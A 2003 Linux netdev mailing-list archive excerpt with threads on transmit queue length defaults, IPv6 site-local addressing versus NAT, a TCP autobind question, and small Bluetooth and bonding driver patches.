2.6 10/11] TxDescriptors -> 1024 default To: "David S. Miller" Cc: hadi@cyberus.ca, greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Sun, 14 Sep 2003 14:08:28 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 JHEG5P4HSL JBONL5L8FGD MIAS5MHLYW|August 26, 2003) at 09/14/2003 15:08:36 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5899 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev David Miller wrote: >Back to the main topic, maybe we should set dev->tx_queue_len to >1000 by default for all ethernet devices. I definately agree with setting the dev->tx_queue_len to 1000 as a default for all ethernet adapters. All adapters will benefit from this change. regards, ---------------------------------------------------------------------------------- *** ALWAYS THINK POSITIVE *** From david-b@pacbell.net Sun Sep 14 19:46:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Sep 2003 19:46:10 -0700 (PDT) Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F2k0Ya022311 for ; Sun, 14 Sep 2003 19:46:01 -0700 Received: from pacbell.net (ppp-67-118-246-151.dialup.pltn13.pacbell.net [67.118.246.151]) by mta4.rcsntx.swbell.net (8.12.9/8.12.3) with ESMTP id h8F2jbtu013615; Sun, 14 Sep 2003 21:45:38 -0500 (CDT) Message-ID: <3F652910.4090509@pacbell.net> Date: Sun, 14 Sep 2003 19:50:56 -0700 From: David Brownell User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030225 X-Accept-Language: en-us, en, fr MIME-Version: 1.0 To: Ricardo C Gonzalez , "David S. Miller" CC: hadi@cyberus.ca, greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5900 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: david-b@pacbell.net Precedence: bulk X-list: netdev Ricardo C Gonzalez wrote: > > David Miller wrote: > > >>Back to the main topic, maybe we should set dev->tx_queue_len to >>1000 by default for all ethernet devices. > > > > I definately agree with setting the dev->tx_queue_len to 1000 as a default > for all ethernet adapters. All adapters will benefit from this change. Except ones where CONFIG_EMBEDDED, maybe? Not everyone wants to spend that much memory, even when it's available... From pekkas@netcore.fi Sun Sep 14 22:16:59 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 14 Sep 2003 22:17:08 -0700 (PDT) Received: from netcore.fi (netcore.fi [193.94.160.1]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F5GvYa028487 for ; Sun, 14 Sep 2003 22:16:58 -0700 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id h8F5GmZ26163; Mon, 15 Sep 2003 08:16:48 +0300 Date: Mon, 15 Sep 2003 08:16:47 +0300 (EEST) From: Pekka Savola To: David Woodhouse cc: netdev@oss.sgi.com Subject: Re: IPv6 6to4 on site-local networks. In-Reply-To: <1063442392.4455.47.camel@imladris.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5901 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: pekkas@netcore.fi Precedence: bulk X-list: netdev On Sat, 13 Sep 2003, David Woodhouse wrote: > On Sat, 2003-09-13 at 06:57 +0300, Pekka Savola wrote: > > The bottom line for that is: there is no longer a clear distinction of > > "inside" and "outside". > > To clarify... there currently is; you are saying that there shall not > be, and appear to believe personally that there _should_ not be. Yep, and I'm not alone with this :-) > > Any design which assumes all the internal nodes > > can communicate freely with each other seems very subject to abuse, and > > multiple points of failure (where one node can compromise all of them). > > For such communication, globals are the best -- there has to be internal > > filtering -- and gives no false sense of security which would rely on > > addressing. > > Whether you firewall your inter-office traffic at the borders is an > orthogonal issue, surely? In practice, since most hosts run the same > software, if you own one you might as well own them all _directly_ > rather than via the one you owned. And since most people will log into > the most important servers from their own workstations, if you trojan > ssh you'll soon get there too... regardless of internal firewalling, > which _can't_ block port 22. > > Besides, if they own one host, they can already use the internal IPv4 > network to attack the rest. That's not going to be taken down overnight. It depends on your threat model. As far as I've seen, there is a vast difference in access controls you enable internally and externally. There are still internal access controls; the more the sites, the more the controls. Which is why security by private addressing doesn't really fly. > > Note that this is slightly different wrt. RFC1918 addresses. Deploying > > both globals and site-locals makes the problem of "compromise one node, > > use it as a stepping stone to compromise all the local nodes" slightly > > worse. > > If there are no blocks in ingress to the global addresses. To be honest, > I'd settle for putting the internal hosts behind NAT. We do not want > ingress -- except by SSH only, via a limited set of trusted bastion > hosts. NAT doesn't help you at all here. It just limits the ingress visibility of your nodes. The identical external protection can be obtained by blocking *all* traffic at the border to those nodes you'd put behind the NAT. > > Therefore, the use of "internal addresses" does not help with that except > > for very small sites (e.g. home, using dial-up and getting a different > > prefix every time, but the internal communication should stay stable), it > > only propagates bad design from IPv4 to IPv6. > > Its 'badness' is a matter of opinion. I think we can objectively say > that it is a widely deployed and understood design, the absence of which > causes significant conceptual barriers to those attempting to deploy > IPv6. I certainly disagree with "understood" here. > RFC1918 may be a 'flawed' design to some people but it's almost > universally understood and deployed. The abolition of site-local > addresses is seems to be a huge barrier to adoption of IPv6. Again, I really disagree with "understood" here. If folks really understood it, it wouldn't be so widely deployed. About the only more or less valid use for addresses like those are in the disconnected sites scenarios, or in cases where site prefix(es) keep changing all the time. And even then, there are severe disadvantages to using RFC1918 and NAT. I'm not sure if anyone has ever bothered to write up these things, especially for RFC1918, but at least one aspect of it (NAT) is at: http://www.cs.utk.edu/~moore/what-nats-break.html > I suppose we could work with the fc00::/7 non-routeable addresses, and > NAT. Are people as opposed to IPv6-NAT as I was told they are? I'd > discounted that as a solution before even starting... Yep, people are pretty much against NATv6 :-) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From hidden@balabit.hu Mon Sep 15 00:56:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 00:56:38 -0700 (PDT) Received: from balabit.hu (catv-d5dea83f.bp11catv.broadband.hu [213.222.168.63]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F7uUYa003319 for ; Mon, 15 Sep 2003 00:56:34 -0700 Message-ID: <3F6570AA.6050903@balabit.hu> Date: Mon, 15 Sep 2003 09:56:26 +0200 From: Kovacs Krisztian MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: ipv4 tcp autobind problem Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5902 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hidden@balabit.hu Precedence: bulk X-list: netdev Hi, While testing the tproxy (transparent proxying) patch for linux-2.4 (http://www.balabit.com/downloads/tproxy/linux-2.4), Stas Grabois has found a quite strange aspect of Linux 2.4 TCP. Imagine the following scenario: you create a new socket (AF_INET, SOCK_STREAM), bind it to local port 0, and try to connect() to a closed port. Of course, the peer sends back an RST, indicating no one is listening on that port. However, if your application does not care about the return value of connect(), and calls send() on the not connected socket, inet_autobind() is called and a new local port is allocated for the socket. So, besides returning an error, there is also a side effect of the send(). The same thing happens with an established TCP session if the peer sends an RST between two send() calls, the second call will autobind the socket, and then return error. Is this behaviour intentional? Isn't rebinding a TCP socket to a new local port a bug? I mean, possibly inet_sendmsg() should check if the socket is SOCK_STREAM before calling inet_autobind() if sk->num is zero. It would be important to know if this is considered a bug or not, since the tproxy patch relies on sk->sport being unchanged while a socket is alive. (It finds the corresponding entry in its own hash table based on the sk->sport value, so if it changes, it cannot remove the entry when closing the corresponding socket...) -- Regards, Krisztian KOVACS From davem@pizda.ninka.net Mon Sep 15 01:29:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 01:29:15 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F8T3Ya004630 for ; Mon, 15 Sep 2003 01:29:04 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id BAA27028; Mon, 15 Sep 2003 01:17:31 -0700 Date: Mon, 15 Sep 2003 01:17:31 -0700 From: "David S. Miller" To: David Brownell Cc: ricardoz@us.ibm.com, hadi@cyberus.ca, greearb@candelatech.com, jgarzik@pobox.com, scott.feldman@intel.com, netdev@oss.sgi.com Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default Message-Id: <20030915011731.59056bfc.davem@redhat.com> In-Reply-To: <3F652910.4090509@pacbell.net> References: <3F652910.4090509@pacbell.net> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5903 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sun, 14 Sep 2003 19:50:56 -0700 David Brownell wrote: > Except ones where CONFIG_EMBEDDED, maybe? Not everyone wants > to spend that much memory, even when it's available... Dropping the packet between the network stack and the driver does waste memory for _LONGER_ periods of time. When we drop, TCP still hangs onto the buffer, and we'll send it again and again until it makes it and we get an ACK back or the connection completely times out. From dwmw2@infradead.org Mon Sep 15 01:54:23 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 01:54:27 -0700 (PDT) Received: from executor.cambridge.redhat.com (pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F8sMYa005577 for ; Mon, 15 Sep 2003 01:54:22 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 1024463D63; Mon, 15 Sep 2003 09:54:16 +0100 (BST) Received: from localhost.localdomain (IDENT:lyGb7k7qoYDSGECxGXOj17kO6CJGx0r0@localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.9/8.11.0) with ESMTP id h8F8sB54024179; Mon, 15 Sep 2003 09:54:12 +0100 Subject: Re: Bluetooth BUG() in set_sk_owner(). From: David Woodhouse To: "David S. Miller" Cc: netdev@oss.sgi.com, shemminger@osdl.org, maxk@qualcomm.com, marcel@holtmann.org In-Reply-To: <20030911182223.2e9b7118.davem@redhat.com> References: <1063184337.32473.529.camel@hades.cambridge.redhat.com> <20030911182223.2e9b7118.davem@redhat.com> Content-Type: text/plain Message-Id: <1063616050.21195.67.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.5 (dwmw2) Date: Mon, 15 Sep 2003 09:54:10 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 5904 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Thu, 2003-09-11 at 18:22 -0700, David S. Miller wrote: > On Wed, 10 Sep 2003 09:58:57 +0100 > David Woodhouse wrote: > > > It loks like the recent addition of sk_set_owner() to > > bt_sock_alloc() was bogus... some of the callers of bt_sock_alloc() > > already do that for This patch reverts it, and makes the remaining > > callers also set the owner for themselves... > > Applied, thanks David. Needs this too... ===== net/bluetooth/bnep/sock.c 1.11 vs edited ===== --- 1.11/net/bluetooth/bnep/sock.c Thu Jun 5 01:57:08 2003 +++ edited/net/bluetooth/bnep/sock.c Fri Sep 12 09:16:17 2003 @@ -186,7 +189,8 @@ static struct net_proto_family bnep_sock_family_ops = { .family = PF_BLUETOOTH, - .create = bnep_sock_create + .create = bnep_sock_create, + .owner = THIS_MODULE }; int __init bnep_sock_init(void) -- dwmw2 From amir.noam@intel.com Mon Sep 15 02:00:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 02:00:11 -0700 (PDT) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F907Ya006038 for ; Mon, 15 Sep 2003 02:00:08 -0700 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8F908sK012616 for ; Mon, 15 Sep 2003 09:00:08 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by talaria.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8F8xgc16017 for ; Mon, 15 Sep 2003 08:59:42 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091501595924931 ; Mon, 15 Sep 2003 02:00:00 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: [PATCH 0/3] [bonding 2.4] final sync 2.4 <-> 2.6 Date: Mon, 15 Sep 2003 11:59:58 +0300 User-Agent: KMail/1.4.3 Cc: jgarzik@pobox.com MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309151159.58050.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5905 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev This small patch set handles the final bonding sync. Except for a small ipx_hdr() issue, 2.4 code after this set should be identical to 2.6 (with my latest 2.6 set applied: "propagating master's settings to slaves"). Patch #3 isn't really a bonding patch, but it is needed for the seq_file patch to work in 2.4 (and the whole point of the code sync is that the same patches will cleanly apply to both trees). This set applies on top of 2.4.23-pre4. The seq_file patch (that will apply to both 2.4 and 2.6) will be following this set shortly. patch1: Get rid of MOD_*_USE_COUNT, and use C99 initializers. patch2: Backport free_netdev(). patch3: Backport PDE(). -- Amir From amir.noam@intel.com Mon Sep 15 02:00:30 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 02:00:33 -0700 (PDT) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F90TYa006148 for ; Mon, 15 Sep 2003 02:00:30 -0700 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by caduceus.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8F90UsK012726 for ; Mon, 15 Sep 2003 09:00:30 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by talaria.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8F904c16262 for ; Mon, 15 Sep 2003 09:00:04 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091502002015716 ; Mon, 15 Sep 2003 02:00:22 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 1/3] [bonding 2.4] Get rid of MOD_*_USE_COUNT, and use C99 initializers Date: Mon, 15 Sep 2003 12:00:19 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Cc: jgarzik@pobox.com Message-Id: <200309151200.19968.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5906 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c 2003-09-15 11:39:34.000000000 +0300 +++ b/drivers/net/bonding/bond_main.c 2003-09-15 11:39:36.000000000 +0300 @@ -980,8 +980,6 @@ static int bond_open(struct net_device * add_timer(alb_timer); } - MOD_INC_USE_COUNT; - if (miimon > 0) { /* link check interval, in milliseconds. */ init_timer(timer); timer->expires = jiffies + (miimon * HZ / 1000); @@ -1055,7 +1053,6 @@ static int bond_close(struct net_device bond_alb_deinitialize(bond); } - MOD_DEC_USE_COUNT; return 0; } @@ -3770,7 +3767,7 @@ static int bond_netdev_event(struct noti } static struct notifier_block bond_netdev_notifier = { - notifier_call: bond_netdev_event, + .notifier_call = bond_netdev_event, }; static void bond_deinit(struct net_device *dev) From amir.noam@intel.com Mon Sep 15 02:00:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 02:00:47 -0700 (PDT) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F90iYa006284 for ; Mon, 15 Sep 2003 02:00:44 -0700 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8F8ttS2003551 for ; Mon, 15 Sep 2003 08:55:55 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by talaria.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8F90Ic16452 for ; Mon, 15 Sep 2003 09:00:18 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091502003505223 ; Mon, 15 Sep 2003 02:00:36 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 2/3] [bonding 2.4] Backport free_netdev() Date: Mon, 15 Sep 2003 12:00:34 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Cc: jgarzik@pobox.com Message-Id: <200309151200.34709.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5907 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c 2003-09-15 11:39:39.000000000 +0300 +++ b/drivers/net/bonding/bond_main.c 2003-09-15 11:39:41.000000000 +0300 @@ -3788,7 +3788,7 @@ static void bond_free_all(void) unregister_netdev(dev); bond_deinit(dev); - kfree(dev); + free_netdev(dev); } } @@ -4194,7 +4194,7 @@ static int __init bonding_init(void) err = dev_alloc_name(dev, "bond%d"); if (err < 0) { - kfree(dev); + free_netdev(dev); goto out_err; } @@ -4204,7 +4204,7 @@ static int __init bonding_init(void) */ err = bond_init(dev); if (err < 0) { - kfree(dev); + free_netdev(dev); goto out_err; } @@ -4213,7 +4213,7 @@ static int __init bonding_init(void) err = register_netdevice(dev); if (err < 0) { bond_deinit(dev); - kfree(dev); + free_netdev(dev); goto out_err; } } diff -Nuarp a/include/linux/netdevice.h b/include/linux/netdevice.h --- a/include/linux/netdevice.h 2003-09-15 11:39:39.000000000 +0300 +++ b/include/linux/netdevice.h 2003-09-15 11:39:41.000000000 +0300 @@ -49,6 +49,7 @@ struct ethtool_ops; #define HAVE_ALLOC_NETDEV /* feature macro: alloc_xxxdev functions are available. */ +#define HAVE_FREE_NETDEV #define NET_XMIT_SUCCESS 0 #define NET_XMIT_DROP 1 /* skb dropped */ @@ -871,6 +872,10 @@ extern int netdev_fastroute_obstacles; extern void dev_clear_fastroute(struct net_device *dev); #endif +static inline void free_netdev(struct net_device *dev) +{ + kfree(dev); +} #endif /* __KERNEL__ */ From amir.noam@intel.com Mon Sep 15 02:00:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 02:00:55 -0700 (PDT) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F90qYa006378 for ; Mon, 15 Sep 2003 02:00:52 -0700 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9/8.12.9/d: outer.mc,v 1.66 2003/05/22 21:17:36 rfjohns1 Exp $) with ESMTP id h8F8u3S2003627 for ; Mon, 15 Sep 2003 08:56:03 GMT Received: from fmsmsxvs043.fm.intel.com (fmsmsxvs043.fm.intel.com [132.233.42.129]) by talaria.fm.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8F90Qc16534 for ; Mon, 15 Sep 2003 09:00:26 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs043.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091502004316208 ; Mon, 15 Sep 2003 02:00:44 -0700 Content-Type: text/plain; charset="us-ascii" From: Amir Noam Subject: [PATCH 3/3] [bonding 2.4] Backport PDE() Date: Mon, 15 Sep 2003 12:00:42 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Cc: jgarzik@pobox.com Message-Id: <200309151200.42616.amir.noam@intel.com> X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 5908 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: amir.noam@intel.com Precedence: bulk X-list: netdev diff -Nuarp a/include/linux/proc_fs.h b/include/linux/proc_fs.h --- a/include/linux/proc_fs.h 2003-09-15 11:39:44.000000000 +0300 +++ b/include/linux/proc_fs.h 2003-09-15 11:39:45.000000000 +0300 @@ -209,4 +209,9 @@ extern struct proc_dir_entry proc_root; #endif /* CONFIG_PROC_FS */ +static inline struct proc_dir_entry *PDE(const struct inode *inode) +{ + return (struct proc_dir_entry *)inode->u.generic_ip; +} + #endif /* _LINUX_PROC_FS_H */ From marcel@holtmann.org Mon Sep 15 02:57:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 02:57:36 -0700 (PDT) Received: from mail.holtmann.net (root@linux-bt.org [217.160.111.169]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8F9vTYa014001 for ; Mon, 15 Sep 2003 02:57:30 -0700 Received: from localhost.localdomain (p5082BB42.dip.t-dialin.net [80.130.187.66]) by mail.holtmann.net (8.12.3/8.12.3/Debian-6.4) with ESMTP id h8F9xno9030897; Mon, 15 Sep 2003 11:59:49 +0200 Subject: Re: Bluetooth BUG() in set_sk_owner(). From: Marcel Holtmann To: David Woodhouse Cc: "David S. Miller" , netdev@oss.sgi.com, shemminger@osdl.org, Max Krasnyansky In-Reply-To: <1063616050.21195.67.camel@hades.cambridge.redhat.com> References: <1063184337.32473.529.camel@hades.cambridge.redhat.com> <20030911182223.2e9b7118.davem@redhat.com> <1063616050.21195.67.camel@hades.cambridge.redhat.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.5 Date: 15 Sep 2003 11:57:01 +0200 Message-Id: <1063619827.28891.507.camel@pegasus> Mime-Version: 1.0 X-Virus-Scanned: by amavisd-new X-archive-position: 5909 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: marcel@holtmann.org Precedence: bulk X-list: netdev Hi David, > Needs this too... > > ===== net/bluetooth/bnep/sock.c 1.11 vs edited ===== > --- 1.11/net/bluetooth/bnep/sock.c Thu Jun 5 01:57:08 2003 > +++ edited/net/bluetooth/bnep/sock.c Fri Sep 12 09:16:17 2003 > @@ -186,7 +189,8 @@ > > static struct net_proto_family bnep_sock_family_ops = { > .family = PF_BLUETOOTH, > - .create = bnep_sock_create > + .create = bnep_sock_create, > + .owner = THIS_MODULE > }; > > int __init bnep_sock_init(void) it is only cosmetic, but put the .owner above the .create. Regards Marcel From laforge@gnumonks.org Mon Sep 15 03:23:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 03:23:19 -0700 (PDT) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FAN7Ya014940 for ; Mon, 15 Sep 2003 03:23:08 -0700 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.22) id 19yqVd-0003ZX-EG for netdev@oss.sgi.com; Mon, 15 Sep 2003 12:23:05 +0200 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 19yqR8-0000G5-00; Mon, 15 Sep 2003 12:18:26 +0200 Date: Mon, 15 Sep 2003 12:18:26 +0200 From: Harald Welte To: Chris Friesen Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: firewalling PPPOE stream without terminating it Message-ID: <20030915101826.GH777@obroa-skai.de.gnumonks.org> References: <3F61D8E4.6020309@nortelnetworks.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VbfcI4OLZ4XW0yH2" Content-Disposition: inline In-Reply-To: <3F61D8E4.6020309@nortelnetworks.com> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test4 X-Date: Today is Pungenday, the 39th day of Bureaucracy in the YOLD 3169 User-Agent: Mutt/1.5.4i X-archive-position: 5910 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@gnumonks.org Precedence: bulk X-list: netdev --VbfcI4OLZ4XW0yH2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hi Chris! On Fri, Sep 12, 2003 at 10:32:04AM -0400, Chris Friesen wrote: > I've got a PPPOE DSL line coming into my house, and I and my roommates=20 > each terminate our own connection and get our own dynamic IP address. So how is this question related to either=20 1) network development (netdev@oss.sgi.com) 2) linux-kernel development (linux-kernel@vger.kernel.org) I would like to ask you this question at an apropriate mailinglist (netfilter@lists.netfilter.org, or the lartc mailinglist [since the assumption that you would need to do NAT in case you terminate the two dsl lines is invalid an can be solved using policy routing + connmark]). > Chris Friesen | MailStop: 043/33/F10 --=20 - Harald Welte http://www.gnumonks.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D Programming is like sex: One mistake and you have to support it your lifeti= me --VbfcI4OLZ4XW0yH2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/ZZHxXaXGVTD0i/8RAtypAJ90Bhd5kA4bxDUHle4YxlJzkwORvwCfbboN 7oYLitTanO8CoR0tKPUjiDM= =/4fn -----END PGP SIGNATURE----- --VbfcI4OLZ4XW0yH2-- From hadi@cyberus.ca Mon Sep 15 04:30:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 15 Sep 2003 04:30:18 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8FBU0Ya020123 for ; Mon, 15 Sep 2003 04:30:00 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 19yrYF-000NGk-00; Mon, 15 Sep 2003 07:29:51 -0400 Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default From: jamal Reply-To: hadi@cyberus.ca To: Ben Greear Cc: "Feldman, Scott" , Jeff Garzik , netdev@oss.sgi.com, ricardoz@us.ibm.com In-Reply-To: <3F620C90.5090903@candelatech.com> References: <1063370664.1028.85.camel@jzny.localdomain> <3F620C90.5090903@candelatech.com> Content-Type: text/plain 